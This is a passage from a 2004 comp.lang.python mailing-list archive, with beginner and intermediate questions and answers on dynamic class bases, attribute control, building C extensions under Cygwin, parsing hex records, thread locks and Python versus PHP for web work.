From __peter__ at web.de  Thu Feb 26 06:50:56 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 26 Feb 2004 12:50:56 +0100
Subject: Play with classes
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
Message-ID: <c1kmj0$28f$04$1@news.t-online.com>

Zunbeltz Izaola wrote:

> Hi to all!
> 
> I wonder if it possible (i'm sure python can do :-) ) to define classes on
> runtime. My problem (schematically) is the folowwin.
> 
> The User can choise betwenn 3 property of an object.
> 
> Mode, Type and Subtype.
> 
> I have the following classes defined
> 
> ModeA, ModeB, TypeA, TypeB, TypeC, SubtypeA, SubtypeB.
> 
> Supose the user whant to combine ModeA with TypeB and SubtypeB, so I need
> something like
> 
> class UserClass(ModeA, TypeB, SubtypeB):
>         pass
> 
> I can define all the posibilitys different classes and the using nested
> if/else I can use the correct class, but I want to know if there is a way
> generate in the fly and in this way there is no necesarity to change code
> whe new Modes or Types are created.
> 
> I hope it is clear enough :-)
> 
> Thanks in advance
> 
> Zunbeltz

How about assigning to __bases__?

>>> class A:
...     def alpha(self): print "alpha"
...
>>> class B:
...     def beta(self): print "beta"
...
>>> class C: pass
...
>>> C.__bases__
()
>>> C.__bases__ = (A,B)
>>> c = C()
>>> c.alpha()
alpha
>>> c.beta()
beta
>>>

Trying the same thing with newstyle class resulted in a TypeError:

>>> E.__bases__ = (A, B)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: __bases__ assignment: 'A' deallocator differs from 'object'

Peter



From frank at chagford.com  Wed Feb  4 10:12:48 2004
From: frank at chagford.com (Frank Millman)
Date: 4 Feb 2004 07:12:48 -0800
Subject: Best way to control assignment to attribute?
Message-ID: <246a4e07.0402040712.2cd34d65@posting.google.com>

Hi all

I want to control the assignment of a value to an attribute. Instead
of allowing it to be changed directly, I want to enforce that a method
is called, which will perform the assignment subject to various
checks.

>From reading the manuals, this is one way to do it.

class frank:
    def __init__(self,x):
        self.setval_x(x)

    def __setattr__(self,name,value):
        if name == 'x':
            raise 'cannot change value of x - use setval_x(value)'
        else:
            self.__dict__[name] = value

    def setval_x(self,value):
        ok = 1
        # perform any checks required
        if ok:
            self.__dict__['x'] = value

Is this the best way, or does anyone have any other suggestions?

I notice that an application can beat this by using the __dict__
syntax itself. Is there any way to prevent this? Just curious, it is
not a major concern.

Any comments will be appreciated.

Thanks

Frank Millman


From jcarlson at nospam.uci.edu  Mon Feb  9 22:54:51 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 09 Feb 2004 19:54:51 -0800
Subject: Tix on Windows
In-Reply-To: <c07bdn$cqg$05$1@news.t-online.com>
References: <40272eda$0$5224$afc38c87@news.optusnet.com.au>
	<c07bdn$cqg$05$1@news.t-online.com>
Message-ID: <c09kqq$bju$1@news.service.uci.edu>

>> Just wondering if there's any chance of a Tix implementation for the 
>> Windows version of Python in upcoming releases of Python?
> 
> 
> If all goes well, Python 3.4 will ship with Tix.


One would hope you mean 2.3, and not the currently mythical post-3.0 
series.  ;)

  - Josiah


From paul at prescod.net  Mon Feb  9 02:37:41 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 08 Feb 2004 23:37:41 -0800
Subject: where does Python stand?
In-Reply-To: <c718a6cf.0402071225.ea09de6@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>	<mailman.1246.1076000375.12720.python-list@python.org>
	<c718a6cf.0402071225.ea09de6@posting.google.com>
Message-ID: <402738C5.2010205@prescod.net>

Y2KYZFR1 wrote:

> 
> 
> Actually PHP can be used as a stand alone general scripting language,
> just like Python can. Python is much more powerful though.

This is true in theory but it is very rare in practice to use PHP in a 
project that has nothing to do with web templating.

  Paul Prescod





From a at a.invalid  Tue Feb 17 00:38:55 2004
From: a at a.invalid (Timo Virkkala)
Date: Tue, 17 Feb 2004 07:38:55 +0200
Subject: the best book for learning python !?
In-Reply-To: <NlgYb.146$Ru5.3@okepread03>
References: <b15d2792.0402161313.6902cc27@posting.google.com>
	<yvcYb.26185$si2.13662@newssvr25.news.prodigy.com>
	<NlgYb.146$Ru5.3@okepread03>
Message-ID: <c0s9de$t45$2@nyytiset.pp.htv.fi>

Arthur Billingsley wrote:

> I just picked up a copy of Learning Perl by Lutz/Ascher (OReilly). This is
> the best intermediate/expert reference I've seen to date on Python. I can
> highly recommend this effort. Thanks to Mark and David.

Learning Perl? A Freudian slip perhaps?

--
Timo Virkkala


From dietrich at zdome.net  Sun Feb  1 15:54:45 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Sun, 1 Feb 2004 12:54:45 -0800
Subject: JPG - PNG conversion problem
In-Reply-To: <bvjjcs$1e3g$1@ns.felk.cvut.cz>
References: <mailman.796.1075125724.12720.python-list@python.org>
	<4wbTb.104084$f97.62358@fe3.columbus.rr.com>
	<bvjjcs$1e3g$1@ns.felk.cvut.cz>
Message-ID: <DD8AD001-54F8-11D8-8CFC-0003934ACDEC@zdome.net>


On Feb 1, 2004, at 11:18 AM, Frantisek Fuka wrote:

> Mark Borgerding wrote:
>> Raaijmakers, Vincent (GE Infrastructure) wrote:
>>> Who can explain the huge increase in size when I convert a JPG into 
>>> a PNG format using PythonMagick:
>>> I read the JPG from a video server and has a resolution of 352x240, 
>>> size is about 15k
>>> After my PNG conversion and resizing the resolution to 160*120, the 
>>> size is 64k!!
>> Is the output png a color palette image?  See if you can get 
>> acceptable results by limiting the color palette to 256 colors or so.
>
> The problem (although it's hard to call this "problem") is that PNG is 
> losless format, whereas JPG is not. What you are doing is akin to 
> converting JPGs to BMP or TIF.

Er, BMP is uncompressed, PNG is compressed losslessly, TIFF can be 
compressed a few different ways.  Many TIFFs contain JPEG-compressed 
data (which is why TIFF is such a cool format).




From jcarlson at nospam.uci.edu  Tue Feb 24 12:05:41 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 24 Feb 2004 09:05:41 -0800
Subject: Comments requested: brief summary of Python
In-Reply-To: <ce782195.0402240756.73cf22eb@posting.google.com>
References: <ce782195.0402232218.6e64177c@posting.google.com>
	<c1ev6d$o9h$1@news.service.uci.edu>
	<ce782195.0402240756.73cf22eb@posting.google.com>
Message-ID: <c1g0e4$t2n$1@news.service.uci.edu>

> The target audience here is an experience programmer that doesn't know
> Python at all. So I didn't want to assume they knew about indenting,
> or how lists work, etc.

In general, not just the Python description, but the three language 
descriptions I read (Python, Perl, C), all sounded like they were going 
to be given to a CEO who knew how to use formulas in Excel, not to 
anyone with real programming experience.

Each version felt very much like you were holding someone's hand. 
Moosebumps made a good suggestion to offer a short program, and describe 
it as you go along.  In languages where you can insert a comment 
virtually anywhere, you could document the code, describing the syntax 
and features of the languages as you go along.  For those additional 
language features (like lists, tuples, dicts, etc. in Python, and other 
in other languages), having a section at the end describing the basic 
(and advanced) data structures available to the language, seems to make 
sense to me.

  - Josiah


From jason at tishler.net  Thu Feb  5 15:11:25 2004
From: jason at tishler.net (Jason Tishler)
Date: Thu, 5 Feb 2004 15:11:25 -0500
Subject: building C modules in windows + Python 2.3 + cygwin
In-Reply-To: <402279C9.90BC8B8C@unipi.gr>
References: <402279C9.90BC8B8C@unipi.gr>
Message-ID: <20040205201125.GB1708@tishler.net>

Andreou,

On Thu, Feb 05, 2004 at 07:13:45PM +0200, Andreou Giannis wrote:
> Allthough it is possible to build modules in Python2.3.3 and distutils
> with cygwin, by running:
>     setup.py build --compiler=cygwin

AFAICT, you should use --compiler=mingw32, if you want to create a
native Win32 Python extension:

    $ python setup.py --dry-run build --compiler=mingw32
    running build
    running build_ext
    building 'readline' extension
    C:\Cygwin\bin\gcc.exe -mno-cygwin ...
                          ^^^^^^^^^^^

Using --compiler=cygwin, I get the following:

    $ python setup.py --dry-run build --compiler=cygwin
    running build
    running build_ext
    building 'readline' extension
    C:\Cygwin\bin\gcc.exe -mcygwin ...
                          ^^^^^^^^

which should produce a Cygwin Python extension.

> Is there a workaround for this problem?

I don't know.

> Can i simply copy the module file in the proper directory?

Yes.  FWIW, this is how I install the Win32 Python readline module
every time I upgrade my Win32 Python installation...

Jason

-- 
PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers
Fingerprint: 7A73 1405 7F2B E669 C19D  8784 1AFD E4CC ECF4 8EF6



From aldo123 at onet.pl  Thu Feb  5 09:44:45 2004
From: aldo123 at onet.pl (mic)
Date: Thu, 5 Feb 2004 15:44:45 +0100
Subject: COM freethreaded mode bug?
Message-ID: <bvtkts$2k56$1@news.atman.pl>

I encountered strange behaviour while using freethreaded mode and
InternetExplorer control. After setting sys.coinit_flags = 0 I lost
possiblity to get the values of Document.Frames collection - I get
'interface not implemented' (-2147467262), but all other Document
collections (images, all, scripts) seem to work fine! Commenting coinit flag
returns proper execution but I need to use it anyhow.

Michal




From ipellew at pipemedia.co.uk  Wed Feb 25 19:00:39 2004
From: ipellew at pipemedia.co.uk (Ian Pellew)
Date: 25 Feb 2004 16:00:39 -0800
Subject: Signal question
Message-ID: <30875970.0402251600.c5020bf@posting.google.com>

Hi;

I am on WinXPPro and want to catch the keyboard interrupt signal.
Will Python 2.3.3 signal handler catch it?

Cannot find this in the Pyt docs, 
Mind nor can I find `inc += 1` statement that I find a poor substitute for `i++`!!

Pointers/Advice Pls.
  
Regards
Ian


From jcarlson at nospam.uci.edu  Thu Feb  5 21:38:39 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 18:38:39 -0800
Subject: Newbiew Question: Graphs and CGI in Python
In-Reply-To: <iVBUb.1956$cc.1002@fe3.columbus.rr.com>
References: <iVBUb.1956$cc.1002@fe3.columbus.rr.com>
Message-ID: <bvuurp$3vd$2@news.service.uci.edu>

> Is there a module for creating graphs within CGI programs in Python? I am
> attempting to retrieve data from a database (Postgres) and display the data
> in a graph through the browser. Thanks!

Read this thread:
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th=a23c560565608275&seekm=9ddba974.0401230643.668a717a%40posting.google.com&frame=off

  - Josiah


From nordgren.tommy at telia.com  Wed Feb  4 10:06:35 2004
From: nordgren.tommy at telia.com (Tommy Nordgren)
Date: Wed, 04 Feb 2004 15:06:35 GMT
Subject: Extending/Embedding MacPython.
Message-ID: <BC46C903.3D6B%nordgren.tommy@telia.com>


I'm trying to figure out how to extend & embed MacPython 2.2.3
or 2.3 on MacOS 9. I've installed the classic version of 2.2.3.
   The project settings and files appear to be incompatible with
my old CW Pro 5 release. Any Ideas on how to fix this?
-- 
Tommy Nordgren <nordgren.tommy at telia.com>
<http://w1.866.telia.com/~u86627430/>
Torstenssonsgatan 7A,2Tr,114 56 Stockholm
SWEDEN
+ 46 8 662 88 04




From bblochl2 at compuserve.de  Thu Feb 26 10:14:02 2004
From: bblochl2 at compuserve.de (b-blochl)
Date: Thu, 26 Feb 2004 16:14:02 +0100
Subject: No Thoughts about Everything
Message-ID: <403E0D3A.9090301@compuserve.de>

Richie Hindle schrieb:

>[Bernhard]
>  
>
>>Better to light a candle than to curse the darkness.
>># Ancient Chinese Proverb
>>    
>>
>
>Very true, but in this case it really isn't dark - you are merely wearing
>too large a hat.
>
>(With apologies to Terry Pratchett.)
>
>  
>
<http://www.harpercollins.com/catalog/pratchett/site/books/description.asp?isbn=0061031321>
Most of what you get taught is lies. It has to be. Sometimes if you get 
the truth all at once, you can't understand it.
from Terry Partchett's Thief of Time 
<http://www.harpercollins.com/catalog/pratchett/site/books/description.asp?isbn=0061031321>


I think the contents of the mailings get off the goals of the python 
mailing list. So it is better to get off. Good by then,
Bernhard




From kbass at midsouth.rr.com  Thu Feb  5 20:15:58 2004
From: kbass at midsouth.rr.com (kbass)
Date: Fri, 06 Feb 2004 01:15:58 GMT
Subject: Newbiew Question: Graphs and CGI in Python
Message-ID: <iVBUb.1956$cc.1002@fe3.columbus.rr.com>

Is there a module for creating graphs within CGI programs in Python? I am
attempting to retrieve data from a database (Postgres) and display the data
in a graph through the browser. Thanks!

kbass




From rlpreston at sbec.com  Sun Feb 22 10:11:07 2004
From: rlpreston at sbec.com (Ren)
Date: 22 Feb 2004 07:11:07 -0800
Subject: Extract data from ASCII file
Message-ID: <3602cff7.0402220711.3f7ed46@posting.google.com>

Suppose I have a file containing several lines similar to this:

:10000000E7280530AC00A530AD00AD0B0528AC0BE2

The data I want to extract are 8 hexadecimal strings, the first of
which is E728, like this:

:10000000 E728 0530 AC00 A530 AD00 AD0B 0528 AC0B E2

Also, the bytes in the string are reversed. The E728 needs to be 28E7,
0530 needs to be 3005 and so on.

I can do this in C++ and Pascal, but it seems like Python may be more
suited for the task.

How is this accomplished using Python?


From jcarlson at nospam.uci.edu  Thu Feb 19 01:35:35 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 22:35:35 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <7xd68bzs79.fsf@ruckus.brouhaha.com>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
Message-ID: <c11lkg$qni$1@news.service.uci.edu>

> Huh?  It's an expression, the value is explicit.

Perhaps no one has noticed that C's allowing of assignments in while/for 
/if statements has caused more than one bug.  Hell, there was a 
much-publicised hole in the Linux kernel that was caused by this not 6 
months ago.

Sure, there is a difference between '==' becoming '=', and '==' becoming 
':=', but the difference is 1 inch and a shift key on my keyboard.  I've 
made larger errors when typing than just an inch and a shift-key.  I 
believe it would cause more bugs, reduce readability, and attempts to 
fix a problem that doesn't really exist.

  - Josiah


From noemail at noemail4u.com  Thu Feb 12 11:48:03 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Thu, 12 Feb 2004 16:48:03 GMT
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<402B85BE.A73089C5@engcorp.com>
Message-ID: <a4926c68a73edefaf2ba0a9b5ceded48@news.teranews.com>

On Thu, 12 Feb 2004 08:55:10 -0500, Peter Hansen <peter at engcorp.com>
wrote:

>Stephen Ferg wrote:
>> 
>> I've just spent several very frustrating hours tracking down a bug in
>> one of my programs.  The problem was that I was writing text to a
>> file, and when I was done I coded
>> 
>>    f.close
>> 
>> when I should have been coding
>> 
>>    f.close()
>> 
>> with the parentheses.
>> 
>Would I be write in guessing that you have used VisualBASIC a lot
>in the past?  Or perhaps a similar language which allows the type
>of function call you would expect with the first form above?
>
>I believe f.close could be a legal call in VB (am I right?) and 
>I'm guessing that is the reason you are making this mistake.
>I doubt it's a common problem for many people, but maybe it is for
>those with a particular background.
    Pascal, Delphi also use this convention.  Personally, I think that
design for a language is strange, but if the language doesn't support
a "pointer to function" or "function" type, there's no ambiguosity to
the compiler.  A casual reader of the code can get confused, not
knowing if the code is referring to a function that returns a value,
or a simple attribute.  Delphi complicates it further by having
"attributes", which are sort of like a getter/setter used
(syntactically) as if it were an attribute assignment/reference.
    Point being it's not just VisualBasic (and Access and VBA).  I
think it's not unreasonable that your thought about someone's
background is relevant.  I'm from a C background, and never made this
particular mistake.
        --dang


From wilkSPAM at OUTflibuste.net  Sat Feb 28 08:31:17 2004
From: wilkSPAM at OUTflibuste.net (Wilk)
Date: Sat, 28 Feb 2004 14:31:17 +0100
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
	<mailman.221.1077919048.8594.python-list@python.org>
	<c1oio8$rfc$1@solaris.cc.vt.edu>
Message-ID: <873c8vmiu2.fsf@blakie.riol>

Bart Nessux <bart_nessux at hotmail.com> writes:

> Dave Brueck wrote:
>
>> Bart wrote:
>>> Erik Johnson wrote:
>>> > This is somewhat a NEWBIE question...
>>> >
>>> >     My company maintains a small RDBS driven website. We currently
>>> >     generate
>>> > HTML using PHP.  I've hacked a bit in Python, and generally think it is
>>> > a rather cool language. I've done Perl and like it, there are a few
>>> > features of PHP I like but overall am not too excited about it. I have
>>> > found PHP's strtotime() function to be quite flexible and handy and we
>>> > make liberal use of it.
>>> >         6) All the other standard evangeslistic points about why Python
>>> >         is
>>> > better than <your favorite language here>, some of which may be valid
>>> > to
>> us,
>>> > some probably not. To those that have used PHP: what am I potentially
>> losing
>>> > that Python really can't replace?
>>> >
>>> >     So, I'm hoping there are some people out there that actually have
>>> >     some
>>> > expereience with both Python & PHP and can give me some solid, informed
>>> > advice about PHP vs. Python, in general and particularly on the
>>> > following points: (NOT Python evangelism please: I've already heard
>>> > most of it, I've espoused a pretty good dose myself - frankly, I'm
>>> > willing to buy most of
>> it,
>>> > but I've got a serious business decision to make here).
>>>
>>> When it comes to dynamic, DB driven sites, PHP is the only way to go.
>>> Python is not even close to being suited for this task. PHP claims to be
>>> a general-purpose language, but I do not know anyone who uses it for
>>> anything other than dynamic Web programming.

It's where php lacks for business decision.  

When the application will grow up it will be time to have a clean
design, a standalone server and handle differents protocols. For this
python will be a good choice (look at zope, twistedmatrix, webware,
quixote...).

It's why i had to rewrite a lot of website from php to python. Now, with
delicious template like cheetah, i begin imediatly in python even if
it's overkill for little websites.

Even futur version of php tends to java. With python we have
already all the features of java.

>>>
>>> A serious business decision? PHP would be the only winner here. You
>>> should not even be considering another language for this, it borders on
>>> stupidity.
>> 
>> What on earth?! Each is entitled to his or her own opinion, but this is a
>> bit over the top. The OP would do well to search the Google archives as
>> this topic has come up many times, and there are many who disagree with
>> the above opinion. Even if in the end the OP decided to stick with PHP
>> (personally I wouldn't), considering Python definitely does _not_ border
>> on stupidity.
>> 
>> -Dave
>
> Sorry, I disagree. As a business decision, it does border on stupidity. Why
> contemplate doing something with Python that would be tedious and difficult
> at best when PHP can do this task easily and quickly??? From a business
> (read practical point of view) it's stupid. From a religious (Mac fanatic
> like point of view), it makes sense.
>
> The OP spoke of a DB driven dynamic Web site. One cannot think of such a
> thing without naturally thinking of PHP... python should not even come to
> mind for this task. Backend/server-side processing, sure, but not on the
> frontend. Use the RIGHT tool for the job. Python isn't the right tool here.

lol !

-- 
Wilk - http://flibuste.net


From llothar at web.de  Tue Feb 17 13:41:01 2004
From: llothar at web.de (Lothar Scholz)
Date: 17 Feb 2004 10:41:01 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<c0mvpc$18urh0$1@ID-99293.news.uni-berlin.de>
	<4030D3E5.BE372ACB@engcorp.com>
Message-ID: <6ee58e07.0402171041.d3ebe08@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<4030D3E5.BE372ACB at engcorp.com>...

> As for "most programmers are coming from Windows background" I suspect
> that too is very debatable.

Right. I don't know any german university where programming (at least
in the computer science courses) is teached on windows systems.


From mcfletch at rogers.com  Sun Feb 22 10:37:16 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sun, 22 Feb 2004 10:37:16 -0500
Subject: Extract data from ASCII file
In-Reply-To: <3602cff7.0402220711.3f7ed46@posting.google.com>
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
Message-ID: <4038CCAC.6090103@rogers.com>

With Python 2.3:

 >>> def splitter( line ):
...     line = line[9:] # skip prefix
...     while line:
...         prefix, line = line[:4],line[4:]
...         yield prefix[2:]+prefix[:2]
...
 >>> for number in splitter( ':10000000E7280530AC00A530AD00AD0B0528AC0BE2'):
...     print number
...
28E7
3005
00AC
30A5
00AD
0BAD
2805
0BAC
E2
 >>>

If you want to convert the hexadecimal strings to actual integers, use 
int( prefix, 16 ).

HTH,
Mike

Ren wrote:

>Suppose I have a file containing several lines similar to this:
>
>:10000000E7280530AC00A530AD00AD0B0528AC0BE2
>
>The data I want to extract are 8 hexadecimal strings, the first of
>which is E728, like this:
>
>:10000000 E728 0530 AC00 A530 AD00 AD0B 0528 AC0B E2
>
>Also, the bytes in the string are reversed. The E728 needs to be 28E7,
>0530 needs to be 3005 and so on.
>
>I can do this in C++ and Pascal, but it seems like Python may be more
>suited for the task.
>
>How is this accomplished using Python?
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From nospam-deets at web.de  Thu Feb 19 08:03:22 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 19 Feb 2004 14:03:22 +0100
Subject: threading id generator ?
References: <mailman.54.1077181694.27104.python-list@python.org>
Message-ID: <c12cc5$1db6o2$1@ID-111250.news.uni-berlin.de>

> which locking semantic I must use to implement a shared generator in a
> thread ?
> 
> thanks in advance :)

You could try something like this:

class IdGen:
    def __init__(_):
       _.lock = threading.Lock()
       _.id = 0

    def id_gen(_):
        _.lock.aqcuire()
        new_id = _.id
        _.id += 1
        lock.release()
        return new_id


An instance of IdGen you could store in a global variable. Or you make it a
singleton. Or you pass one instance around for all your threading-objects.
Or you make _.id and _.lock class-variables, and inherit all your
threading-objects from IdGen. Or you make it a module.... and so on :)

--
Regards,

Diez B. Roggisch



From harry.g.george at boeing.com  Mon Feb 16 02:42:51 2004
From: harry.g.george at boeing.com (Harry George)
Date: Mon, 16 Feb 2004 07:42:51 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <xqxn07jzczo.fsf@cola2.ca.boeing.com>

"kbass" <kbass at midsouth.rr.com> writes:

> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.
> 
> From my our personal experience, I have been programming with Python for
> about 6 months (but I have been programming in other languages for over 10
> years) and I have noticed that the more I had gotten use to programming in
> Python, the more my programming speed has increased. But ... this is true
> with any language that you program in as long as you are learning the
> methodologies and concepts of the programming language.  Your thoughts.
> 
> Kevin
> 
> 

My experience is with in-hoiuse code, so I can't show examples, but I
can give impressions.  We had Java code which did XML, matrix
manipulation, and lisp s-expression reader/writer.  We converted that
to Python.  It took roughly 1/3 less code (measured with wc -l), the
code was easier to read (consensus in code reviews), and it has proven
more maintainable (roughly 1/2 flowtime for similar enhancements).

The algorithms didn't change, so this wasn't just a matter of learning
the problem space better ("write one to throw away").  My impression
of the productivity improvements:

a) No compilation step.  If you program in a "change one feature and
then run unittests" style, the edit-run cycle is critical.  Python was
several seconds (> 15, < 60) faster per cycle.  We may have had an
exceptionally slow java setup, but I've seen similar effects on other
platforms.

b) Clarity of thought.  We could see the forest and not just the
trees.  This led to refactoring, which simplified maintenance.

As for learning the language vs knowing others: We've now had a dozen
compsci people learn python.  Each had considerable experience with
other languages.  After a couple of weeks, each person says things
like "Wow, this is amazing."  In code reviews, they learn better
idioms, but the basic impression of productivity is there from about 2
weeks after they start.

My biggest problem is with people who are not willing to refactor to
clean up working code.  Without that step, some of the potential
improvement from python is lost.  I've looked at their non-python code
and see this is apparently a personal programming trait.  People who
write clean code in python also do so in VB, java, COBOL, etc.  I
think python makes refactoring easy enough that people who care about
clean code are very impressed with the language.

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From jcarlson at nospam.uci.edu  Thu Feb 12 01:19:07 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 22:19:07 -0800
Subject: Where to discuss SourceForge?
In-Reply-To: <402AFE7E.50DB1241@shaw.ca>
References: <402AFE7E.50DB1241@shaw.ca>
Message-ID: <c0f61d$1qq$1@news.service.uci.edu>

> I'm a fan of SourceForge, and I think it needs a forum, but I don't know
> what to do about it.

I would imagine that the sourceforge developers don't have a forum 
because you get the same innane comments in all forums, and they just 
don't want to have to deal with it.

Can you imagine how many questions they would get like:
"How do I release a file?"
"Do I have to have a login to host a project?"
"Why are the stats delayed?"
"How do I use CVS?"

Sometimes having a forum isn't worthwhile.  This may be one of those times.

  - Josiah


From simonb at webone.com.au  Mon Feb 23 17:57:03 2004
From: simonb at webone.com.au (Simon Burton)
Date: Tue, 24 Feb 2004 09:57:03 +1100
Subject: text file edit object?
Message-ID: <pan.2003.07.10.21.00.03.865187@webone.com.au>


# Does anything like this exist ?

myfile = TextFile("myfile.c")
if myfile and myfile[0].startswith( "/*" ):
  myfile[:12] = []
  myfile.save()


# Simon Burton.



From nowan.noware at nohowe.net  Mon Feb 23 11:19:09 2004
From: nowan.noware at nohowe.net (Nowan)
Date: Mon, 23 Feb 2004 16:19:09 GMT
Subject: TCP servers in Python - two processes want to use same port
In-Reply-To: <d32e694.0402230800.1f98c5f1@posting.google.com>
References: <d32e694.0402230800.1f98c5f1@posting.google.com>
Message-ID: <1Kp_b.29098$dq1.22671@newssvr25.news.prodigy.com>

Pif Paf wrote:
> I am writing programs that will run as TCP servers. Briefly, I want to 
> set up a TCP server on a port in such a way that if another server is 
> already sitting on that port (both servers are Python programs I will be 
> writing), the old one is booted off (and its process ended).
> 
> My master process is a test harness, which tests a script which as part 
> of its functionality sends http GET messages. My test harness sets up 
> an http server as a child process, by creating an instance of 
> popen2.Popen3().
> 
> The child process is a very simple program using SimpleHTTPServer. The 
> problem is when I run my test harness, break it with Ctrl-C then try to
> run it again. The http server complains that it cannot bind to the socket,
> as the address is already in use.
> 
> My production system will use several http servers (I'm using http GET
> messages as a simple form of inter-process communication), and I don't 
> want to have a situation where a program runs one time (because it's 
> asking to bind to a port that isn't already in use), but the next time, 
> it doesn't run because the port is being used.
> 
> Now of course I could use files to describe what ports are currently in
> use and what process ids are using them, and kill the process before
> trying to re-use the port, but that solution strikes me as inelegant.
> Is there a better way? For example, is there a way of writing a program
> that will force binding to a port, and if an existing process has that
> port will kick it off (and possibly destroy it)?
> 
> --
> Pif Paf
I think you might have better luck in a TCP networking group, as this 
isn't really a python question (unless python has some nify TCP api). 
you might check into Twisted to see what's there for nifty apis.

If you're talking unix, you might want to spawn both servers as children 
of the same parent.  after launching both servers, the parent just waits 
as a manager process.  when the second child is unable to acquire the 
port, it can signal the parent.  the parent can send a stop/kill signal 
to the  child.

signaling a process requires the process id (pid).  the children don't 
know each others process ids.  but they have their parent's process id. 
  The parent gets the process ids of all children.

not sure how that would apply in windows.  don't think windows even has 
signals.  if so, you would have to substitute some other form of 
interprocess communications.






From pythonguy at Hotpop.com  Fri Feb  6 02:51:26 2004
From: pythonguy at Hotpop.com (Anand Pillai)
Date: 5 Feb 2004 23:51:26 -0800
Subject: hide sourcecode
References: <bvtm5f$pgq$00$1@news.t-online.com>	<bvtpsp$126$1@news.service.uci.edu>
	<mailman.1261.1076006359.12720.python-list@python.org>
	<bvu6m3$cg1$1@news.service.uci.edu>
Message-ID: <84fc4588.0402052351.5fc254ae@posting.google.com>

In a lighter vein, why do you want to hide your
python source code? Python is an 'open source' language
so I advise you to share your source code with us :-)

-Anand

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<bvu6m3$cg1$1 at news.service.uci.edu>...
> > I don't know about Windows, but on Unix you can create a script with
> > permissions 700 and create a small setuid program executing this script.
> > 
> > Don't know whether Windows has such useful things though, probably not :-P
> 
> I've never used setuid, but I would imagine that it works as the name 
> suggests, it sets the user id of the process.  Which would allow you to 
> run the script with Python, but not read the source.
> 
> There is likely a nontrivial set of methods and system calls where a 
> script could use the 'run as' service in windows to do a similar thing, 
> but I wouldn't want to write it.
> 
>   - Josiah


From jcarlson at nospam.uci.edu  Wed Feb 11 15:27:33 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 12:27:33 -0800
Subject: How to bound a method to a instance ?
In-Reply-To: <c0dorf$kec$07$1@news.t-online.com>
References: <4026DC5D.591FB4FD@free.fr> <c079q4$ml7$00$1@news.t-online.com>
	<c0cn8b$31u$1@news.tudelft.nl> <c0dorf$kec$07$1@news.t-online.com>
Message-ID: <c0e3c5$ljc$1@news.service.uci.edu>

> def shrink_totos():
>   totos = []
>   for t in weakref.totos:
>     if t(): totos.append(t)
>   weakref.totos=[]
                   ^^ should be totos

  - Josiah


From bdesth.quelquechose at free.quelquepart.fr  Fri Feb  6 07:09:41 2004
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Fri, 06 Feb 2004 13:09:41 +0100
Subject: How can this be?
In-Reply-To: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
References: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
Message-ID: <40237eea$0$28121$636a15ce@news.free.fr>

r.e.s. wrote:
> My problem is this ...
> 
> Module A contains the definition of a function f.
> Module B contains:
> 
>     from A import *
>     L = [0]
>     print L
>     x = f(L, 'a data string')
>     print L
> 
> When Module B is imported/reloaded (in pythonwin), 
> the result printed in the interactive window is
> 
>     [0]
>     [1]
> 
> How can the list L have gotten changed??

Because you changed it in f() ?

> Without my posting the function def (which is
> very lengthy), can anyone possibly give me a 
> clue about what might be a likely cause of this
> behavior?  

Sorry, we are not psychic. The only assumption I can make is that f() 
changes the content of the first item in L.

>(It *is* irregular, isn't it?  ?) 

How could we tell ? If f() modifies L, it seems pretty regular that L is 
modified.

Bruno



From jcarlson at nospam.uci.edu  Sun Feb  8 14:33:28 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 08 Feb 2004 11:33:28 -0800
Subject: Had Phyton suggested
